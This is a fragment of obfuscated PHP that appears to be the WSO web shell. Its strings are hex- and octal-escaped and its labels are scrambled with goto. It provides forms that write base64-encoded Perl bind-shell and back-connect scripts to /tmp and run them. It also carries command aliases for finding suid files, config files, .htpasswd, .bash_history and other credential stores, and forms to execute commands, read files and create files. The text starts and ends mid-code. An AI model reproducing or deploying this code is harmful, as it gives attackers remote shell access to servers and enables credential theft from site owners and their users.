\x66\x43\x42\x6b\x61\x57\125\x6f\111\153\x56\171\143\x6d\71\x79\x4f\151\101\153\x49\126\170\165\x49\151\x6b\67\104\121\160\152\142\62\x35\165\x5a\127\x4e\60\x4b\106\116\x50\121\60\164\x46\x56\x43\167\147\x4a\110\x42\x68\132\x47\x52\x79\113\123\102\70\x66\103\102\153\141\127\125\157\x49\153\x56\171\143\155\x39\171\117\151\x41\153\111\126\170\165\111\x69\153\x37\104\x51\x70\x76\x63\107\x56\165\113\x46\x4e\x55\122\105\154\117\x4c\x43\x41\x69\x50\x69\132\124\x54\60\x4e\114\x52\126\x51\151\x4b\x54\x73\116\x43\155\x39\167\x5a\127\64\x6f\x55\x31\122\x45\124\x31\126\x55\114\103\x41\151\x50\x69\x5a\x54\x54\x30\116\114\x52\x56\x51\x69\x4b\124\x73\116\x43\155\x39\x77\132\x57\64\157\x55\61\122\x45\122\x56\x4a\x53\114\x43\101\x69\120\x69\x5a\x54\x54\60\116\114\x52\x56\x51\151\x4b\124\x73\x4e\x43\156\116\65\143\63\x52\154\142\123\x67\x6e\114\62\x4a\x70\x62\x69\x39\x7a\x61\x43\101\164\x61\x53\143\x70\117\x77\x30\113\131\62\170\x76\143\62\x55\157\125\61\x52\105\123\125\64\160\117\167\x30\113\x59\x32\170\x76\x63\62\x55\157\x55\x31\122\x45\x54\61\126\125\113\x54\163\x4e\x43\x6d\116\x73\142\x33\x4e\154\x4b\x46\x4e\125\122\105\126\123\125\151\153\67"; $bind_port_p = "\111\171\x45\166\x64\130\x4e\x79\x4c\62\x4a\x70\142\151\71\x77\132\130\x4a\163\x44\x51\157\153\x55\60\150\x46\x54\105\x77\x39\111\151\71\151\141\x57\x34\x76\143\x32\x67\147\x4c\127\153\151\x4f\x77\60\x4b\x61\x57\x59\x67\x4b\x45\x42\x42\x55\x6b\144\127\111\x44\167\147\x4d\123\x6b\147\x65\171\x42\154\x65\x47\x6c\x30\x4b\104\105\x70\x4f\x79\102\71\x44\x51\x70\x31\143\x32\x55\147\125\x32\x39\152\141\62\126\60\117\x77\x30\113\143\x32\x39\152\141\62\x56\60\x4b\x46\x4d\163\112\154\x42\107\x58\60\154\117\x52\126\121\163\112\x6c\x4e\120\121\60\x74\x66\125\61\122\123\122\125\x46\x4e\x4c\107\x64\x6c\x64\110\102\171\x62\x33\122\x76\x59\156\x6c\165\131\127\61\154\113\103\x64\60\x59\63\x41\x6e\113\123\x6b\147\x66\x48\x77\147\x5a\107\x6c\x6c\111\x43\x4a\x44\x59\127\x35\x30\x49\107\116\171\x5a\127\x46\x30\132\123\102\172\x62\x32\116\162\x5a\130\x52\x63\x62\151\111\67\x44\x51\160\172\132\130\122\x7a\x62\x32\x4e\162\x62\63\102\x30\x4b\x46\x4d\x73\x55\x30\x39\x4d\x58\x31\x4e\x50\121\60\164\106\126\103\170\124\124\x31\71\123\x52\x56\x56\124\x52\x55\x46\x45\x52\x46\x49\x73\115\x53\153\67\x44\x51\160\x69\141\x57\65\153\x4b\106\115\163\143\62\71\x6a\x61\62\x46\x6b\132\x48\x4a\146\x61\127\64\x6f\x4a\x45\106\123\x52\x31\132\142\x4d\106\60\163\x53\x55\65\x42\x52\105\x52\123\x58\x30\x46\x4f\127\x53\153\x70\111\110\170\x38\111\107\x52\160\132\x53\101\x69\121\62\106\165\x64\x43\x42\x76\143\107\x56\x75\x49\x48\x42\x76\143\156\x52\x63\x62\151\x49\67\x44\121\x70\x73\141\x58\x4e\x30\132\x57\x34\x6f\125\x79\x77\172\x4b\x53\x42\x38\146\x43\x42\x6b\141\127\125\x67\x49\153\116\150\142\x6e\121\x67\142\x47\x6c\x7a\x64\107\126\165\x49\x48\x42\x76\x63\156\x52\x63\142\x69\111\67\x44\x51\160\63\x61\107\x6c\x73\132\123\147\x78\113\x53\x42\67\x44\121\157\112\x59\x57\x4e\152\x5a\130\102\60\113\x45\116\120\x54\x6b\64\163\x55\171\153\x37\x44\x51\x6f\112\141\x57\x59\x6f\x49\123\147\153\143\x47\154\x6b\120\127\x5a\x76\x63\x6d\x73\160\113\123\102\67\x44\121\x6f\x4a\103\x57\122\x70\132\x53\101\x69\121\62\106\165\x62\155\71\x30\111\107\x5a\x76\x63\155\163\151\x49\x47\154\x6d\x49\103\x67\x68\x5a\x47\x56\x6d\141\127\65\x6c\x5a\103\101\x6b\x63\107\x6c\x6b\x4b\124\163\116\103\147\153\112\142\63\x42\x6c\x62\151\102\124\126\x45\122\x4a\x54\x69\167\151\120\103\132\104\124\x30\x35\117\x49\x6a\163\116\103\147\153\x4a\142\63\102\154\x62\x69\102\124\x56\105\122\120\x56\x56\121\x73\111\152\x34\x6d\x51\60\71\117\124\151\x49\67\104\x51\157\112\x43\x57\x39\167\132\x57\64\147\125\x31\122\105\x52\x56\x4a\123\114\x43\x49\x2b\x4a\153\116\x50\x54\x6b\64\x69\117\x77\60\113\103\121\154\154\x65\107\126\152\111\x43\x52\124\123\105\x56\115\x54\x43\102\70\146\103\x42\153\141\x57\x55\x67\143\x48\112\x70\142\x6e\x51\x67\x51\60\x39\x4f\124\151\x41\x69\x51\x32\x46\165\144\103\x42\154\x65\x47\126\x6a\144\x58\122\x6c\x49\103\x52\x54\x53\x45\x56\115\124\x46\x78\165\x49\x6a\x73\116\103\147\x6b\112\131\62\x78\x76\143\x32\x55\x67\x51\60\71\x4f\124\x6a\x73\x4e\103\147\x6b\x4a\x5a\130\x68\160\144\x43\101\167\117\x77\60\x4b\x43\x58\x30\x4e\x43\x6e\x30\x3d"; echo "\x3c\x68\61\76\116\x65\164\x77\157\162\x6b\x20\164\157\x6f\154\163\74\x2f\150\61\x3e\74\144\151\x76\40\x63\154\x61\163\163\75\x63\157\x6e\164\x65\x6e\164\76\xa\11\74\x66\157\x72\155\40\x6e\141\x6d\x65\x3d\47\156\146\160\47\40\157\x6e\x53\165\x62\155\151\164\75\42\x67\x28\156\x75\x6c\x6c\54\x6e\165\x6c\154\x2c\47\x62\160\x70\x27\54\164\150\x69\x73\x2e\x70\157\162\164\x2e\166\141\154\x75\x65\51\73\162\x65\x74\165\162\x6e\x20\146\141\154\x73\145\x3b\42\76\12\11\x3c\x73\160\141\156\x3e\x42\x69\x6e\x64\x20\x70\157\162\164\40\x74\x6f\x20\57\x62\151\x6e\57\x73\150\x20\x5b\160\x65\162\154\135\x3c\57\163\x70\141\x6e\76\74\142\162\x2f\76\12\11\x50\157\x72\164\72\40\74\151\156\x70\x75\164\x20\x74\171\x70\145\75\x27\x74\145\x78\164\47\x20\156\x61\x6d\x65\x3d\47\x70\157\x72\x74\x27\x20\x76\141\x6c\165\145\x3d\x27\63\61\x33\x33\x37\47\76\x20\74\x69\x6e\x70\x75\164\x20\x74\x79\x70\x65\x3d\x73\165\142\155\151\164\x20\166\141\x6c\165\145\75\x27\x3e\76\x27\76\xa\x9\x3c\57\x66\157\162\155\76\12\11\x3c\146\157\162\155\40\156\141\155\145\x3d\47\156\x66\160\47\40\x6f\x6e\123\165\142\155\x69\164\x3d\42\x67\50\x6e\165\x6c\x6c\54\x6e\165\154\x6c\x2c\47\142\x63\160\47\x2c\x74\150\x69\x73\x2e\163\145\x72\166\145\162\x2e\166\141\154\165\145\54\164\x68\x69\x73\56\x70\157\x72\x74\56\x76\x61\154\165\x65\x29\73\x72\x65\x74\165\x72\156\40\146\141\154\163\145\x3b\x22\x3e\xa\11\74\163\x70\141\156\76\x42\x61\143\153\x2d\143\157\156\x6e\145\143\x74\40\40\133\x70\145\x72\x6c\135\x3c\x2f\x73\x70\141\x6e\x3e\x3c\142\162\57\76\xa\x9\x53\145\x72\166\x65\162\72\40\74\151\156\x70\x75\x74\40\x74\x79\x70\145\x3d\47\x74\x65\x78\x74\x27\x20\156\x61\155\x65\75\x27\163\145\x72\x76\x65\162\x27\x20\x76\141\154\165\x65\75\47" . $_SERVER["\122\105\x4d\117\x54\x45\x5f\x41\104\x44\x52"] . "\47\76\40\x50\157\x72\x74\x3a\x20\74\151\x6e\x70\x75\x74\40\x74\171\x70\145\75\x27\164\145\170\164\x27\x20\x6e\x61\x6d\x65\75\x27\160\157\x72\x74\x27\40\x76\141\x6c\x75\145\x3d\x27\x33\x31\x33\63\67\47\x3e\x20\x3c\x69\156\160\x75\164\x20\164\x79\160\145\75\x73\165\142\x6d\x69\164\40\166\141\154\x75\145\75\47\76\76\x27\76\xa\11\x3c\57\146\x6f\x72\155\76\74\142\x72\x3e"; if (isset($_POST["\160\61"])) { function cf($f, $t) { $w = @fopen($f, "\x77") or @function_exists("\x66\x69\154\x65\x5f\160\x75\164\x5f\143\x6f\x6e\x74\x65\156\164\163"); if ($w) { @fwrite($w, @base64_decode($t)); @fclose($w); } } if ($_POST["\160\x31"] == "\x62\x70\160") { cf("\57\164\155\160\x2f\x62\x70\56\160\154", $bind_port_p); $out = wsoEx("\x70\145\x72\x6c\40\x2f\x74\155\x70\x2f\142\160\56\160\154\x20" . $_POST["\160\62"] . "\x20\x31\76\x2f\144\x65\x76\57\156\x75\x6c\154\40\x32\76\46\x31\x20\x26"); sleep(1); echo "\74\160\x72\145\40\x63\154\141\163\163\x3d\155\154\x31\76{$out}\12" . wsoEx("\x70\163\40\x61\165\170\40\174\40\147\162\145\x70\x20\142\x70\56\x70\154") . "\x3c\57\x70\162\x65\x3e"; unlink("\x2f\164\x6d\x70\57\x62\x70\x2e\x70\154"); } if ($_POST["\x70\x31"] == "\x62\x63\x70") { cf("\57\x74\x6d\x70\57\x62\143\56\x70\154", $back_connect_p); $out = wsoEx("\x70\145\162\x6c\x20\57\164\x6d\x70\x2f\142\x63\56\160\154\40" . $_POST["\x70\x32"] . "\40" . $_POST["\160\63"] . "\40\61\x3e\57\144\x65\166\x2f\x6e\165\154\x6c\x20\x32\x3e\46\61\40\46"); sleep(1); echo "\x3c\160\162\145\x20\143\154\x61\163\x73\x3d\x6d\x6c\x31\76{$out}\12" . wsoEx("\160\x73\40\141\165\x78\x20\174\40\x67\x72\145\160\40\x62\143\x2e\x70\154") . "\74\57\160\162\x65\x3e"; unlink("\57\164\155\x70\x2f\142\143\56\160\x6c"); } } echo "\74\57\x64\x69\x76\76"; wsoFooter(); } goto K1VTJ; vOaih: if ($os == "\x77\x69\156") { $aliases = array("\114\151\163\164\40\x44\x69\162\145\143\164\157\x72\171" => "\144\x69\162", "\x46\151\x6e\x64\x20\151\x6e\x64\145\170\x2e\x70\x68\160\x20\151\x6e\x20\x63\165\x72\162\145\x6e\164\x20\x64\151\x72" => "\144\151\162\40\57\x73\40\x2f\167\40\x2f\142\40\151\156\144\x65\170\56\x70\x68\x70", "\x46\151\156\144\40\52\143\157\x6e\146\x69\x67\x2a\56\x70\150\x70\x20\151\156\40\143\x75\x72\162\x65\x6e\x74\40\144\151\162" => "\x64\151\x72\40\x2f\163\x20\57\x77\x20\57\x62\x20\x2a\143\x6f\156\x66\151\147\52\56\x70\150\160", "\123\x68\157\x77\40\141\x63\x74\x69\x76\145\40\143\157\x6e\x6e\x65\x63\164\x69\x6f\x6e\163" => "\x6e\x65\x74\163\164\x61\164\x20\x2d\x61\x6e", "\x53\150\x6f\167\x20\162\165\156\x6e\x69\x6e\x67\40\163\145\162\x76\151\x63\x65\x73" => "\x6e\x65\x74\40\163\164\141\x72\164", "\x55\x73\x65\x72\40\141\x63\x63\157\x75\156\164\163" => "\156\x65\x74\40\165\x73\x65\x72", "\123\150\157\167\40\143\x6f\155\160\165\x74\145\162\x73" => "\x6e\145\x74\40\166\151\145\x77", "\x41\122\x50\40\x54\141\x62\154\x65" => "\x61\162\x70\x20\55\x61", "\x49\120\x20\x43\157\156\x66\151\147\165\162\x61\x74\x69\x6f\156" => "\151\160\143\x6f\x6e\146\151\147\x20\57\141\154\x6c"); } else { $aliases = array("\x4c\151\163\x74\40\144\151\x72" => "\x6c\x73\x20\55\154\x68\141", "\x6c\x69\163\164\x20\146\x69\x6c\x65\x20\141\164\164\162\151\x62\165\164\145\x73\40\157\156\40\x61\40\x4c\x69\156\x75\x78\x20\x73\x65\x63\157\x6e\144\40\145\x78\164\145\156\x64\x65\x64\40\x66\x69\154\145\x20\x73\x79\x73\x74\x65\155" => "\154\x73\x61\164\x74\162\40\55\166\141", "\x73\150\x6f\167\x20\157\x70\145\156\145\x64\x20\160\157\162\164\x73" => "\156\x65\164\x73\x74\141\x74\x20\x2d\x61\x6e\x20\174\x20\147\x72\x65\160\40\x2d\151\x20\154\151\x73\164\x65\156", "\160\x72\x6f\143\145\163\163\x20\x73\x74\x61\x74\x75\163" => "\160\163\x20\141\x75\x78", "\x46\151\x6e\x64" => '', "\x66\151\156\x64\x20\x61\x6c\154\40\163\x75\151\x64\x20\x66\151\154\x65\x73" => "\146\x69\x6e\x64\40\57\x20\x2d\164\x79\x70\145\x20\x66\40\55\x70\x65\162\155\x20\x2d\x30\64\x30\x30\60\x20\55\x6c\163", "\x66\151\156\x64\40\x73\x75\x69\144\x20\146\151\x6c\145\163\40\x69\156\x20\x63\165\x72\x72\x65\x6e\164\40\x64\151\x72" => "\146\x69\156\144\40\x2e\40\x2d\x74\x79\160\145\x20\146\x20\x2d\x70\x65\x72\155\40\55\60\64\x30\x30\60\40\55\x6c\x73", "\x66\x69\156\x64\x20\141\x6c\x6c\x20\163\147\x69\144\40\x66\151\x6c\x65\163" => "\x66\151\x6e\x64\x20\x2f\40\x2d\x74\171\x70\145\40\x66\x20\55\x70\145\162\x6d\x20\55\60\x32\x30\60\60\40\x2d\x6c\x73", "\146\151\156\x64\x20\x73\x67\151\144\x20\146\x69\154\x65\163\40\151\x6e\x20\x63\x75\x72\162\x65\156\x74\x20\x64\151\162" => "\146\x69\156\144\40\56\40\x2d\x74\171\160\x65\x20\x66\40\x2d\x70\145\162\x6d\x20\55\x30\62\60\60\60\x20\55\x6c\x73", "\146\151\x6e\x64\40\x63\157\156\x66\151\x67\x2e\x69\x6e\143\56\160\x68\160\x20\146\x69\154\145\x73" => "\x66\x69\x6e\144\40\x2f\40\55\x74\x79\160\x65\x20\146\40\x2d\156\x61\155\x65\x20\143\x6f\156\146\151\x67\56\x69\156\x63\56\160\150\x70", "\x66\151\156\x64\x20\143\157\156\146\151\147\x2a\x20\x66\x69\154\x65\163" => "\x66\x69\x6e\x64\40\x2f\x20\55\164\x79\160\145\x20\x66\x20\55\156\x61\x6d\145\x20\42\x63\x6f\156\x66\x69\147\x2a\x22", "\x66\x69\156\x64\40\x63\x6f\x6e\x66\x69\147\52\x20\x66\x69\154\x65\163\x20\151\156\40\x63\165\x72\x72\x65\156\164\x20\144\x69\162" => "\146\151\156\144\x20\56\40\55\x74\x79\x70\145\x20\x66\40\x2d\x6e\141\155\145\x20\42\x63\x6f\x6e\146\x69\147\x2a\42", "\x66\x69\x6e\144\x20\141\154\154\x20\x77\x72\x69\x74\x61\x62\154\145\40\146\157\x6c\144\x65\x72\163\40\141\156\x64\x20\146\x69\154\x65\x73" => "\x66\x69\x6e\x64\40\57\40\x2d\160\145\162\x6d\x20\x2d\62\x20\x2d\x6c\163", "\146\x69\x6e\144\40\x61\154\154\40\167\162\151\164\x61\x62\x6c\145\40\146\157\x6c\144\x65\x72\x73\40\141\156\x64\40\x66\x69\154\145\x73\x20\x69\156\40\x63\165\162\x72\x65\156\x74\40\x64\x69\162" => "\146\151\x6e\x64\40\x2e\40\55\160\x65\162\155\x20\x2d\x32\x20\x2d\x6c\163", "\146\x69\x6e\144\x20\x61\154\x6c\40\x73\x65\x72\x76\151\x63\145\56\160\167\x64\40\x66\151\154\x65\x73" => "\x66\151\156\144\x20\x2f\x20\55\x74\171\x70\145\40\x66\x20\55\x6e\x61\155\x65\40\x73\145\x72\166\x69\x63\145\56\160\167\x64", "\146\x69\156\144\x20\x73\x65\162\166\x69\143\x65\56\x70\167\144\40\x66\151\x6c\145\163\x20\151\x6e\40\143\x75\x72\162\x65\156\x74\x20\144\x69\x72" => "\146\x69\156\144\40\x2e\40\x2d\x74\x79\160\145\x20\146\x20\x2d\x6e\x61\x6d\x65\x20\163\145\162\166\151\143\x65\56\160\x77\x64", "\x66\x69\x6e\x64\40\141\154\x6c\x20\56\x68\164\160\141\x73\x73\x77\144\x20\x66\x69\154\x65\163" => "\146\x69\156\144\x20\57\40\55\164\171\160\145\40\146\40\55\x6e\x61\x6d\145\40\x2e\x68\x74\x70\x61\x73\x73\167\144", "\x66\151\156\144\x20\56\150\164\x70\141\163\x73\x77\x64\x20\146\151\154\145\163\40\151\156\x20\x63\x75\x72\x72\145\x6e\x74\x20\144\x69\162" => "\x66\x69\x6e\144\40\56\40\x2d\x74\x79\160\145\40\x66\40\55\x6e\x61\155\x65\x20\x2e\x68\164\160\x61\163\x73\167\144", "\146\x69\x6e\x64\40\x61\x6c\154\40\x2e\x62\141\x73\x68\x5f\x68\x69\163\164\x6f\162\x79\40\146\x69\154\145\x73" => "\x66\151\x6e\x64\40\57\40\55\164\171\x70\145\x20\146\x20\55\156\x61\155\145\x20\56\x62\141\163\x68\x5f\x68\x69\163\164\157\162\x79", "\x66\x69\156\144\40\x2e\142\141\x73\x68\x5f\x68\151\x73\x74\157\162\x79\x20\146\151\x6c\x65\x73\40\x69\x6e\40\x63\165\x72\x72\145\x6e\x74\x20\x64\151\162" => "\146\x69\156\x64\x20\x2e\x20\x2d\x74\171\160\x65\40\146\x20\x2d\156\x61\x6d\x65\x20\x2e\142\x61\x73\150\137\150\151\163\x74\x6f\162\x79", "\146\151\x6e\144\x20\x61\x6c\x6c\x20\x2e\146\x65\164\143\150\x6d\x61\x69\x6c\x72\143\40\146\151\154\x65\163" => "\x66\151\x6e\x64\40\57\x20\55\x74\171\160\145\40\146\x20\x2d\x6e\141\x6d\145\40\x2e\146\145\164\x63\x68\x6d\x61\x69\x6c\x72\x63", "\x66\151\156\x64\40\x2e\x66\x65\164\143\150\155\141\151\x6c\x72\x63\x20\x66\x69\154\x65\x73\40\x69\x6e\x20\143\165\162\162\x65\156\164\40\x64\x69\x72" => "\146\151\156\144\40\x2e\x20\55\x74\171\160\145\x20\146\40\x2d\156\141\x6d\145\x20\x2e\x66\x65\x74\x63\x68\x6d\x61\x69\154\x72\x63", "\x4c\157\x63\x61\x74\x65" => '', "\x6c\x6f\143\x61\x74\145\x20\150\x74\x74\x70\144\x2e\143\x6f\156\146\40\x66\151\x6c\145\163" => "\154\x6f\x63\141\x74\x65\40\x68\x74\x74\x70\x64\x2e\x63\x6f\156\x66", "\154\157\143\141\x74\145\40\x76\150\x6f\163\164\163\x2e\143\157\x6e\x66\x20\x66\x69\x6c\145\x73" => "\x6c\157\x63\141\164\x65\x20\166\x68\157\163\x74\x73\56\143\157\x6e\x66", "\x6c\x6f\143\x61\164\145\x20\160\162\157\x66\164\160\x64\x2e\143\x6f\156\x66\x20\146\151\154\x65\163" => "\x6c\157\143\x61\164\145\40\160\162\157\146\x74\x70\144\x2e\x63\x6f\156\146", "\x6c\x6f\143\141\x74\x65\x20\x70\x73\x79\142\156\143\x2e\x63\157\156\x66\40\x66\x69\154\145\x73" => "\x6c\157\143\x61\x74\145\40\x70\x73\x79\142\x6e\143\x2e\143\x6f\x6e\x66", "\154\157\x63\141\x74\145\x20\x6d\171\x2e\x63\x6f\156\x66\x20\146\x69\154\145\163" => "\x6c\x6f\x63\141\164\145\40\155\171\x2e\143\x6f\156\146", "\x6c\x6f\143\x61\164\x65\x20\141\x64\155\x69\156\56\160\150\x70\40\x66\x69\154\145\x73" => "\x6c\x6f\x63\x61\x74\145\40\x61\x64\x6d\151\x6e\56\x70\x68\x70", "\154\x6f\x63\141\164\x65\40\x63\x66\x67\56\160\x68\x70\x20\146\151\154\x65\x73" => "\154\157\x63\141\164\145\x20\143\x66\147\x2e\x70\150\x70", "\154\x6f\x63\x61\164\145\x20\143\x6f\156\146\56\160\x68\160\40\x66\151\154\x65\x73" => "\154\x6f\x63\141\x74\145\x20\x63\x6f\156\146\56\x70\x68\x70", "\154\157\143\141\x74\145\40\x63\x6f\156\x66\151\147\56\144\141\164\x20\146\x69\154\145\x73" => "\x6c\157\143\x61\x74\x65\x20\143\x6f\x6e\x66\x69\147\56\144\x61\164", "\x6c\157\x63\x61\164\x65\40\x63\157\x6e\x66\151\147\56\160\x68\x70\40\146\x69\154\145\x73" => "\154\157\143\141\x74\145\40\143\x6f\156\x66\151\x67\x2e\160\x68\160", "\154\157\143\x61\164\145\x20\143\157\156\x66\x69\147\56\151\x6e\x63\40\146\151\x6c\x65\163" => "\154\x6f\x63\x61\164\145\x20\x63\157\x6e\146\x69\147\56\151\156\143", "\x6c\x6f\143\141\x74\x65\40\143\157\156\x66\151\x67\56\x69\x6e\x63\56\x70\x68\x70" => "\x6c\157\x63\x61\164\x65\40\143\x6f\156\x66\151\x67\x2e\151\156\x63\x2e\160\x68\160", "\154\157\x63\x61\x74\145\x20\x63\x6f\156\x66\151\x67\x2e\144\x65\x66\141\x75\x6c\164\x2e\160\150\x70\x20\x66\151\x6c\x65\163" => "\154\157\x63\x61\x74\145\40\143\x6f\156\x66\x69\147\56\144\145\146\141\165\154\x74\x2e\160\150\x70", "\154\x6f\143\x61\x74\145\x20\x63\x6f\x6e\146\151\147\52\x20\146\151\x6c\145\x73\40" => "\x6c\157\x63\x61\x74\x65\x20\143\x6f\x6e\146\x69\147", "\154\x6f\x63\x61\x74\145\x20\x2e\x63\157\156\146\40\146\151\154\145\163" => "\x6c\x6f\x63\x61\164\x65\40\47\x2e\x63\157\156\x66\47", "\x6c\157\x63\x61\164\x65\x20\x2e\160\167\144\x20\x66\x69\154\x65\x73" => "\154\x6f\x63\x61\x74\x65\x20\47\x2e\160\167\x64\47", "\x6c\157\x63\x61\x74\145\40\x2e\163\161\x6c\x20\146\x69\x6c\145\163" => "\x6c\x6f\x63\141\164\145\40\x27\x2e\x73\161\x6c\47", "\154\157\x63\141\164\x65\x20\x2e\x68\x74\x70\x61\163\163\x77\144\40\x66\x69\x6c\145\x73" => "\x6c\157\143\141\x74\145\40\47\56\150\x74\160\x61\x73\163\x77\144\47", "\154\157\x63\141\x74\x65\x20\56\x62\141\x73\x68\x5f\x68\x69\163\x74\x6f\x72\171\40\146\151\154\145\x73" => "\x6c\157\x63\141\164\145\40\x27\x2e\142\141\163\150\x5f\x68\151\163\x74\x6f\162\x79\47", "\x6c\x6f\143\141\x74\145\x20\x2e\x6d\171\163\161\154\x5f\150\151\x73\x74\x6f\162\x79\40\146\x69\x6c\x65\x73" => "\154\157\x63\141\164\145\x20\x27\x2e\155\x79\x73\x71\154\x5f\150\151\163\x74\157\x72\x79\x27", "\154\157\x63\x61\x74\x65\40\56\x66\145\164\143\150\155\141\151\154\x72\x63\40\x66\151\x6c\145\x73" => "\x6c\157\x63\x61\x74\x65\40\x27\x2e\x66\x65\164\143\x68\x6d\141\151\154\x72\x63\x27", "\x6c\157\x63\141\x74\145\40\x62\x61\x63\x6b\x75\160\40\x66\x69\154\x65\x73" => "\154\157\143\x61\164\x65\x20\x62\141\143\x6b\165\x70", "\x6c\157\143\141\164\x65\x20\x64\x75\x6d\160\40\146\151\x6c\x65\x73" => "\154\157\143\141\x74\145\x20\x64\x75\x6d\x70", "\154\157\143\141\164\145\x20\160\x72\151\x76\40\x66\x69\154\145\x73" => "\154\x6f\143\x61\164\x65\40\160\x72\151\166"); } goto GrLnO; wA5Y1: function wsoFooter() { $is_writable = is_writable($GLOBALS["\143\167\144"]) ? "\40\x3c\146\x6f\156\164\40\x63\157\x6c\157\162\x3d\47\x67\x72\x65\145\156\x27\76\x28\127\162\x69\x74\145\141\142\154\x65\x29\x3c\57\146\157\156\x74\76" : "\x20\74\x66\x6f\x6e\164\40\143\x6f\x6c\x6f\162\75\x72\x65\144\76\50\116\x6f\164\x20\x77\162\151\164\x61\142\154\145\x29\74\57\x66\157\156\x74\x3e"; echo "\xa\x3c\x2f\144\x69\166\76\xa\x3c\164\141\x62\154\145\x20\x63\154\x61\x73\x73\x3d\x69\156\146\157\x20\151\144\75\164\x6f\x6f\154\163\x54\142\x6c\40\143\145\x6c\x6c\160\141\x64\144\151\x6e\x67\75\x33\40\x63\145\x6c\x6c\163\160\141\x63\x69\x6e\x67\75\60\40\x77\x69\144\x74\x68\75\x31\60\x30\x25\40\x20\163\x74\171\154\x65\75\x27\142\157\162\144\x65\x72\x2d\164\157\160\x3a\62\x70\x78\40\x73\x6f\154\151\144\40\43\x33\x33\63\x3b\142\x6f\x72\144\145\162\x2d\142\x6f\164\x74\x6f\155\72\62\x70\x78\40\x73\157\154\151\x64\x20\x23\63\63\63\x3b\47\76\12\11\74\x74\162\x3e\xa\x9\11\x3c\164\x64\x3e\74\146\x6f\x72\x6d\x20\x6f\x6e\163\x75\142\155\x69\x74\75\x27\147\x28\x6e\x75\154\x6c\x2c\x74\150\151\x73\56\143\56\x76\x61\x6c\x75\x65\54\42\x22\51\x3b\x72\145\x74\x75\162\156\40\146\x61\154\x73\x65\x3b\47\x3e\x3c\163\x70\x61\x6e\76\x43\150\x61\156\147\x65\40\144\x69\162\x3a\x3c\57\163\160\x61\156\x3e\x3c\x62\x72\x3e\74\151\156\160\165\x74\x20\x63\154\141\x73\163\75\x27\x74\157\x6f\154\x73\111\156\160\x27\40\164\171\x70\145\75\x74\x65\x78\164\40\x6e\x61\155\x65\x3d\x63\x20\166\x61\154\x75\145\75\x27" . htmlspecialchars($GLOBALS["\143\x77\x64"]) . "\x27\x3e\74\x69\156\x70\x75\164\40\x74\x79\160\145\75\163\x75\x62\155\151\164\40\x76\141\x6c\x75\x65\75\x27\76\76\47\76\74\57\x66\157\162\x6d\x3e\74\57\164\144\76\xa\11\11\74\164\x64\x3e\74\x66\x6f\162\x6d\40\157\x6e\163\165\142\x6d\x69\x74\x3d\x22\x67\50\47\x46\x69\x6c\x65\163\124\x6f\157\x6c\x73\47\54\x6e\165\154\x6c\x2c\x74\150\x69\x73\56\x66\56\166\141\x6c\165\145\51\73\162\145\x74\x75\x72\156\40\146\x61\x6c\163\x65\73\42\76\74\163\160\141\156\x3e\x52\x65\x61\144\x20\146\151\154\145\x3a\74\57\x73\x70\141\x6e\x3e\x3c\x62\162\76\x3c\x69\x6e\160\x75\164\40\x63\154\141\163\163\75\x27\164\157\x6f\x6c\x73\111\x6e\x70\47\x20\x74\x79\160\x65\75\164\x65\170\x74\40\156\141\155\145\x3d\146\x3e\74\151\x6e\x70\x75\164\40\164\x79\x70\x65\75\163\x75\142\155\151\164\x20\x76\141\x6c\165\x65\75\x27\76\76\x27\x3e\x3c\x2f\146\x6f\162\155\76\x3c\57\164\144\76\xa\11\x3c\x2f\x74\x72\76\74\x74\162\x3e\12\11\11\x3c\164\144\x3e\x3c\146\x6f\x72\155\40\157\156\163\165\x62\155\x69\164\75\42\147\x28\x27\106\151\154\x65\163\115\141\156\47\x2c\x6e\x75\154\x6c\x2c\x27\x6d\153\144\x69\x72\47\x2c\x74\x68\151\163\x2e\x64\56\x76\x61\154\165\x65\x29\x3b\162\x65\164\x75\162\x6e\x20\x66\x61\154\x73\x65\73\42\76\x3c\x73\160\141\x6e\x3e\x4d\x61\x6b\145\40\x64\x69\x72\x3a\74\x2f\x73\x70\x61\x6e\76{$is_writable}\74\142\162\76\74\151\x6e\160\x75\x74\x20\143\x6c\x61\x73\x73\x3d\47\x74\x6f\x6f\x6c\x73\111\156\160\x27\x20\164\171\160\x65\75\x74\145\x78\164\40\156\x61\x6d\145\x3d\144\x3e\x3c\x69\156\160\x75\x74\x20\164\x79\x70\x65\x3d\x73\x75\x62\x6d\151\x74\x20\166\141\154\165\x65\75\x27\x3e\76\x27\76\x3c\x2f\146\x6f\162\155\x3e\74\57\164\144\x3e\12\x9\x9\74\164\x64\76\x3c\146\157\x72\x6d\x20\157\156\163\165\x62\155\x69\x74\75\42\147\x28\47\106\151\154\x65\x73\x54\157\157\154\163\x27\x2c\x6e\x75\x6c\x6c\54\164\150\x69\x73\x2e\x66\x2e\166\x61\x6c\165\145\54\x27\155\153\x66\x69\154\145\x27\51\x3b\162\145\164\165\162\156\40\x66\141\154\x73\145\x3b\x22\x3e\74\x73\x70\141\156\x3e\115\x61\153\x65\40\x66\151\154\145\72\74\x2f\163\160\141\x6e\76{$is_writable}\x3c\x62\x72\x3e\x3c\151\156\160\165\x74\x20\x63\x6c\x61\163\x73\x3d\x27\164\157\x6f\x6c\163\111\156\160\47\40\164\x79\x70\x65\x3d\x74\x65\x78\164\40\156\141\x6d\145\75\146\76\x3c\x69\x6e\160\x75\164\40\164\171\x70\145\x3d\163\x75\142\155\151\164\x20\166\141\x6c\165\x65\75\47\x3e\x3e\x27\76\74\57\x66\x6f\x72\155\76\74\x2f\164\x64\76\xa\x9\x3c\x2f\x74\x72\x3e\74\164\162\x3e\12\11\x9\74\164\x64\76\x3c\146\157\x72\x6d\x20\157\156\x73\165\142\x6d\151\164\x3d\x22\x67\50\47\103\x6f\x6e\163\x6f\154\x65\x27\54\156\165\x6c\x6c\x2c\164\150\151\163\56\x63\x2e\x76\x61\154\x75\x65\x29\x3b\x72\x65\164\165\162\156\x20\146\x61\x6c\163\x65\x3b\42\76\x3c\x73\160\x61\156\76\105\170\145\143\x75\x74\145\72\x3c\57\163\160\141\x6e\x3e\x3c\142\x72\76\74\151\156\x70\x75\164\x20\143\x6c\141\163\x73\x3d\x27\x74\x6f\157\x6c\163\111\x6e\160\x27\x20\x74\171\160\x65\x3d\164\x65\170\164\x20\x6e\x61\x6d\x65\x3d\143\40\166\x61\154\x75\145\x3d\47\x27\x3e\74\151\x6e\x70\x75\164\x20\164\x79\x70\145\x3d\163\165\142\x6d\151\x74\x20\x76\141\154\165\145\75\47\76\x3e\x27\76\74\57\146\x6f\x72\155\76\x3c\57\164\x64\76\12\11\x9\x3c\x74\144\76\74\146\157\x72\15